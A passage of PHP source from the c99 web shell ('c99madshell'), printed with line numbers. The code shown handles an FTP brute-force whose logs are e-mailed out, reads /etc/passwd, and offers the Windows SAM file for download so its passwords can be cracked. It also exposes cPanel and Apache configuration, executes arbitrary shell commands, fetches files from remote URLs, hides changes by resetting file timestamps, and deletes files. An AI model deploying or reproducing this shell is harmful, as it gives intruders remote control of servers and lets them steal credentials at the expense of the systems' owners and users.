1417 ------------------------------------------
1418 Done!
1419 Total time (secs.): ".$ftpquick_t."
1420 Total connections: ".$i."
1421 Success.: ".$success."
1422 Unsuccess.:".($i-$success)."
1423 Connects per second: ".round($i/$ftpquick_t,2)."
1424 ";
1425     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1426     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
1427     fclose($fqb_logfp);
1428    }
1429   }
1430   else
1431   {
1432    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1433    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1434    echo "<form method=\"POST\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
1435   }
1436  }
1437 }
1438 if ($act == "d")
1439 {
1440  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
1441  else
1442  {
1443   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1444   if (!$win)
1445   {
1446    echo "<tr><td><b>Owner/Group</b></td><td> ";
1447    $ow = posix_getpwuid(fileowner($d));
1448    $gr = posix_getgrgid(filegroup($d));
1449    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1450   }
1451   echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
1452  }
1453 }
1454 if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
1455 if ($act == "security")
1456 {
1457  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
1458  if (!$win)
1459  {
1460   if ($nixpasswd)
1461   {
1462    if ($nixpasswd == 1) {$nixpasswd = 0;}
1463    echo "<b>*nix /etc/passwd:</b><br>";
1464    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1465    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1466    echo "<form method=\"POST\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
1467    $i = $nixpwd_s;
1468    while ($i < $nixpwd_e)
1469    {
1470     $uid = posix_getpwuid($i);
1471     if ($uid)
1472     {
1473      $uid["dir"] = "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($uid["dir"])."';document.todo.submit();\">".$uid["dir"]."</a>";
1474      echo join(":",$uid)."<br>";
1475     }
1476     $i++;
1477    }
1478   }
1479   else {echo "<br><a href=\"#\" onclick=\"document.todo.act.value='security';document.todo.d.value='".$ud."';document.todo.nixpasswd.value='1';document.todo.submit();\"><b><u>Get /etc/passwd</u></b></a><br>";}
1480  }
1481  else
1482  {
1483   $v = $_SERVER["WINDIR"]."
1484 epair\sam";
1485   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
1486   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='sam';document.todo.d.value='".$_SERVER["WINDIR"]."\/repair';document.todo.ft.value='download';document.todo.submit();\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";}
1487  }
1488  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='userdomains';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
1489  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='accounting.log';document.todo.d.value='".urlencode("/var/cpanel/")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>View cpanel logs</b></u></a></font></b><br>";}
1490  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='httpd.conf';document.todo.d.value='".urlencode("/usr/local/apache/conf")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1491  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='httpd.conf';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1492  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='syslog.conf';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
1493  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='motd';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
1494  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='hosts';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Hosts</b></u></a></font></b><br>";}
1495  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
1496  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
1497  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
1498  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
1499  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
1500  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
1501  displaysecinfo("RAM",myshellexec("free -m"));
1502  displaysecinfo("HDD space",myshellexec("df -h"));
1503  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
1504  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
1505  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
1506  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
1507  displaysecinfo("Is links installed?",myshellexec("which links"));
1508  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
1509  displaysecinfo("Is GET installed?",myshellexec("which GET"));
1510  displaysecinfo("Is perl installed?",myshellexec("which perl"));
1511  displaysecinfo("Where is apache",myshellexec("whereis apache"));
1512  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
1513  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
1514  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
1515  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
1516  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
1517 }
1518 if ($act == "mkfile")
1519 {
1520  if ($mkfile != $d)
1521  {
1522   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
1523   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
1524   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
1525  }
1526  else {$act = $dspact = "ls";}
1527 }
1528 if ($act == "fsbuff")
1529 {
1530  $arr_copy = $sess_data["copy"];
1531  $arr_cut = $sess_data["cut"];
1532  $arr = array_merge($arr_copy,$arr_cut);
1533  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
1534  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
1535 }
1536 if ($act == "selfremove")
1537 {
1538  if (($submit == $rndcode) and ($submit != ""))
1539  {
1540   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
1541   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
1542  }
1543  else
1544  {
1545   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
1546   $rnd = rand(0,9).rand(0,9).rand(0,9);
1547   echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
1548  }
1549 }
1550 if ($act == "search")
1551 {
1552  echo "<b>Search in file-system:</b><br>";
1553  if (empty($search_in)) {$search_in = $d;}
1554  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1555  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1556  if (!empty($submit))
1557  {
1558   $found = array();
1559   $found_d = 0;
1560   $found_f = 0;
1561   $search_i_f = 0;
1562   $search_i_d = 0;
1563   $a = array
1564   (
1565    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
1566    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
1567    "text_wwo"=>$search_text_wwo,
1568    "text_cs"=>$search_text_cs,
1569    "text_not"=>$search_text_not
1570   );
1571   $searchtime = getmicrotime();
1572   $in = array_unique(explode(";",$search_in));
1573   foreach($in as $v) {c99fsearch($v);}
1574   $searchtime = round(getmicrotime()-$searchtime,4);
1575   if (count($found) == 0) {echo "<b>No files found!</b>";}
1576   else
1577   {
1578    $ls_arr = $found;
1579    $disp_fullpath = TRUE;
1580    $act = "ls";
1581   }
1582  }
1583  echo "<form method=POST>
1584 <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
1585 <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
1586 <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
1587 <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
1588 <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
1589 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
1590 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
1591 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
1592 <br><br><input type=submit name=submit value=\"Search\"></form>";
1593  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
1594 }
1595 if ($act == "chmod")
1596 {
1597  $mode = fileperms($d.$f);
1598  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1599  else
1600  {
1601   $form = TRUE;
1602   if ($chmod_submit)
1603   {
1604    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1605    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
1606    else {$err = "Can't chmod to ".$octet.".";}
1607   }
1608   if ($form)
1609   {
1610    $perms = parse_perms($mode);
1611    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1612   }
1613  }
1614 }
1615 if ($act == "upload")
1616 {
1617  $uploadmess = "";
1618  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
1619  if (empty($uploadpath)) {$uploadpath = $d;}
1620  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
1621  if (!empty($submit))
1622  {
1623   global $HTTP_POST_FILES;
1624   $uploadfile = $HTTP_POST_FILES["uploadfile"];
1625   if (!empty($uploadfile["tmp_name"]))
1626   {
1627    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1628    else {$destin = $userfilename;}
1629    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
1630   }
1631   elseif (!empty($uploadurl))
1632   {
1633    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
1634    else
1635    {
1636     $destin = explode("/",$destin);
1637     $destin = $destin[count($destin)-1];
1638     if (empty($destin))
1639     {
1640      $i = 0;
1641      $b = "";
1642      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
1643    }
1644    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
1645    else
1646    {
1647     $st = getmicrotime();
1648     $content = @file_get_contents($uploadurl);
1649     $dt = round(getmicrotime()-$st,4);
1650     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
1651     else
1652     {
1653      if ($filestealth) {$stat = stat($uploadpath.$destin);}
1654      $fp = fopen($uploadpath.$destin,"w");
1655      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
1656      else
1657      {
1658       fwrite($fp,$content,strlen($content));
1659       fclose($fp);
1660       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
1661      }
1662     }
1663    }
1664   }
1665  }
1666  if ($miniform)
1667  {
1668   echo "<b>".$uploadmess."</b>";
1669   $act = "ls";
1670  }
1671  else
1672  {
1673   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" method=POST><input type=\"hidden\" name=\"act\" value=\"upload\"><input type=\"hidden\" name=\"d\" value=\"".urlencode($d)."\">
1674 Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
1675 Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
1676 Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
1677 File-name (auto-fill): <input name=uploadfilename size=25><br><br>
1678 <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
1679 <input type=submit name=submit value=\"Upload\">
1680 </form>";
1681  }
1682 }
1683 if ($act == "delete")
1684 {
1685  $delerr = "";
1686  foreach ($actbox as $v)
1687  {
1688   $result = FALSE;
1689   $result = fs_rmobj($v);
1690   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
1691  }
1692  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
1693  $act = "ls";
1694 }
1695 if (!$usefsbuff)
1696 {
1697  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
1698 }
1699 else
1700 {
1701  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
1702  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
1703  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
1704  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
1705  elseif ($actpastebuff)
1706  {
1707   $psterr = "";
1708   foreach($sess_data["copy"] as $k=>$v)
1709   {
1710    $to = $d.basename($v);
1711    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1712    if ($copy_unset) {unset($sess_data["copy"][$k]);}
1713   }
1714   foreach($sess_data["cut"] as $k=>$v)
1715   {
1716    $to = $d.basename($v);
1717    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1718    unset($sess_data["cut"][$k]);
1719   }
1720   c99_sess_put($sess_data);
1721   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1722   $act = "ls";
1723  }
1724  elseif ($actarcbuff)
1725  {
1726   $arcerr = "";
1727   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1728   else {$ext = ".tar.gz";}
1729   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1730   $cmdline .= " ".$actarcbuff_path;
1731   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1732   foreach($objects as $v)
1733   {
1734    $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
1735    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1736    if (is_dir($v))
1737    {
1738     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1739     $v .= "*";
1740    }
1741    $cmdline .= " ".$v;
1742   }
1743   $tmp = realpath(".");
1744   chdir($d);
1745   $ret = myshellexec($cmdline);
1746   chdir($tmp);
1747   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1748   $ret = str_replace("
1749 ","
1750 ",$ret);
1751   $ret = explode("
1752 ",$ret);
1753   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1754   foreach($sess_data["cut"] as $k=>$v)
1755   {
1756    if (in_array($v,$ret)) {fs_rmobj($v);}
1757    unset($sess_data["cut"][$k]);
1758   }
1759   c99_sess_put($sess_data);
1760   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1761   $act = "ls";
1762  }
1763  elseif ($actpastebuff)
1764  {
1765   $psterr = "";
1766   foreach($sess_data["copy"] as $k=>$v)
1767   {
1768    $to = $d.basename($v);
1769    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1770    if ($copy_unset) {unset($sess_data["copy"][$k]);}
1771   }
1772   foreach($sess_data["cut"] as $k=>$v)
1773   {
1774    $to = $d.basename($v);
1775    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1776    unset($sess_data["cut"][$k]);
1777   }
1778   c99_sess_put($sess_data);
1779   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1780   $act = "ls";
1781  }
1782 }
1783 if ($act == "cmd")
1784 {
1785 if (trim($cmd) == "ps -aux") {$act = "processes";}
1786 elseif (trim($cmd) == "tasklist") {$act = "processes";}
1787 else
1788 {
1789  @chdir($chdir);
1790  if (!empty($submit))
1791  {
1792   echo "<b>Result of execution this command</b>:<br>";
1793   $olddir = realpath(".");
1794   @chdir($d);
1795   $ret = myshellexec($cmd);
1796   $ret = convert_cyr_string($ret,"d","w");
1797   if ($cmd_txt)
1798   {
1799    $rows = count(explode("
1800 ",$ret))+1;
1801    if ($rows < 10) {$rows = 10;}
1802    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
1803   }
1804   else {echo $ret."<br>";}
1805   @chdir($olddir);
1806  }
1807  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
1808  echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
1809 }
1810 }
1811 if ($act == "ls")
1812 {
1813  if (count($ls_arr) > 0) {$list = $ls_arr;}
1814  else
1815  {
1816   $list = array();
1817   if ($h = @opendir($d))
1818   {
1819    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1820    closedir($h);
1821   }
1822   else {}
1823  }
1824  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
1825  else
1826  {
1827   //Building array
1828   $objects = array();
1829   $vd = "f"; //Viewing mode
1830   if ($vd == "f")
1831   {
1832    $objects["head"] = array();
1833    $objects["folders"] = array();
1834    $objects["links"] = array();
1835    $objects["files"] = array();
1836    foreach ($list as $v)
1837    {
1838     $o = basename($v);
1839     $row = array();
1840     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
1841     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
1842     elseif (is_dir($v))
1843     {
1844      if (is_link($v)) {$type = "LINK";}
1845      else {$type = "DIR";}
1846      $row[] = $v;
1847      $row[] = $type;
1848     }
1849     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1850     $row[] = filemtime($v);
1851     if (!$win)
1852     {
1853      $ow = posix_getpwuid(fileowner($v));
1854      $gr = posix_getgrgid(filegroup($v));
1855      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1856     }
1857     $row[] = fileperms($v);
1858     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1859     elseif (is_link($v)) {$objects["links"][] = $row;}
1860     elseif (is_dir($v)) {$objects["folders"][] = $row;}
1861     elseif (is_file($v)) {$objects["files"][] = $row;}
1862     $i++;
1863    }
1864    $row = array();
1865    $row[] = "<b>Name</b>";
1866    $row[] = "<b>Size</b>";
1867    $row[] = "<b>Modify</b>";
1868    if (!$win)
1869   {$row[] = "<b>Owner/Group</b>";}
1870    $row[] = "<b>Perms</b>";
1871    $row[] = "<b>Action</b>";
1872    $parsesort = parsesort($sort);
1873    $sort = $parsesort[0].$parsesort[1];
1874    $k = $parsesort[0];
1875    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1876    $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
1877    $row[$k] .= $y;
1878    for($i=0;$i<count($row)-1;$i++)
1879    {
1880     if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
1881    }
1882    $v = $parsesort[0];
1883    usort($objects["folders"], "tabsort");
1884    usort($objects["links"], "tabsort");
1885    usort($objects["files"], "tabsort");
1886    if ($parsesort[1] == "d")
1887    {
1888     $objects["folders"] = array_reverse($objects["folders"]);
1889     $objects["files"] = array_reverse($objects["files"]);
1890    }
1891    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1892    $tab = array();
1893    $tab["cols"] = array($row);
1894    $tab["head"] = array();
1895    $tab["folders"] = array();
1896    $tab["links"] = array();
1897    $tab["files"] = array();
1898    $i = 0;
1899    foreach ($objects as $a)
1900    {
1901     $v = $a[0];
1902     $o = basename($v);
1903     $dir = dirname($v);
1904     if ($disp_fullpath) {$disppath = $v;}
1905     else {$disppath = $o;}
1906     $disppath = str2mini($disppath,60);
1907     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
1908     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
1909     foreach ($regxp_highlight as $r)
1910     {
1911      if (ereg($r[0],$o))
1912      {
1913       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
1914       else
1915       {
1916        $r[1] = round($r[1]);
1917        $isdir = is_dir($v);
1918        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
1919        {
1920         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1921         $disppath = $r[2].$disppath.$r[3];
1922         if ($r[4]) {break;}
1923        }
1924       }
1925      }
1926     }
1927     $uo = urlencode($o);
1928     $ud = urlencode($dir);
1929     $uv = urlencode($v);
1930     $row = array();
1931     if ($o == ".")
1932     {
1933      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
1934      $row[] = "LINK";
1935     }
1936     elseif ($o == "..")
1937     {
1938      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
1939      $row[] = "LINK";
1940     }
1941     elseif (is_dir($v))
1942     {
1943      if (is_link($v))
1944      {
1945       $disppath .= " => ".readlink($v);
1946       $type = "LINK";
1947       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }
1948      else
1949      {
1950       $type = "DIR";
1951       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
1952      }
1953      $row[] = $type;
1954     }
1955     elseif(is_file($v))
1956     {
1957      $ext = explode(".",$o);
1958      $c = count($ext)-1;
1959      $ext = $ext[$c];
1960      $ext = strtolower($ext);
1961      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>";
1962      $row[] = view_size($a[1]);
1963     }
1964     $row[] = date("d.m.Y H:i:s",$a[2]);
1965     if (!$win) {$row[] = $a[3];}
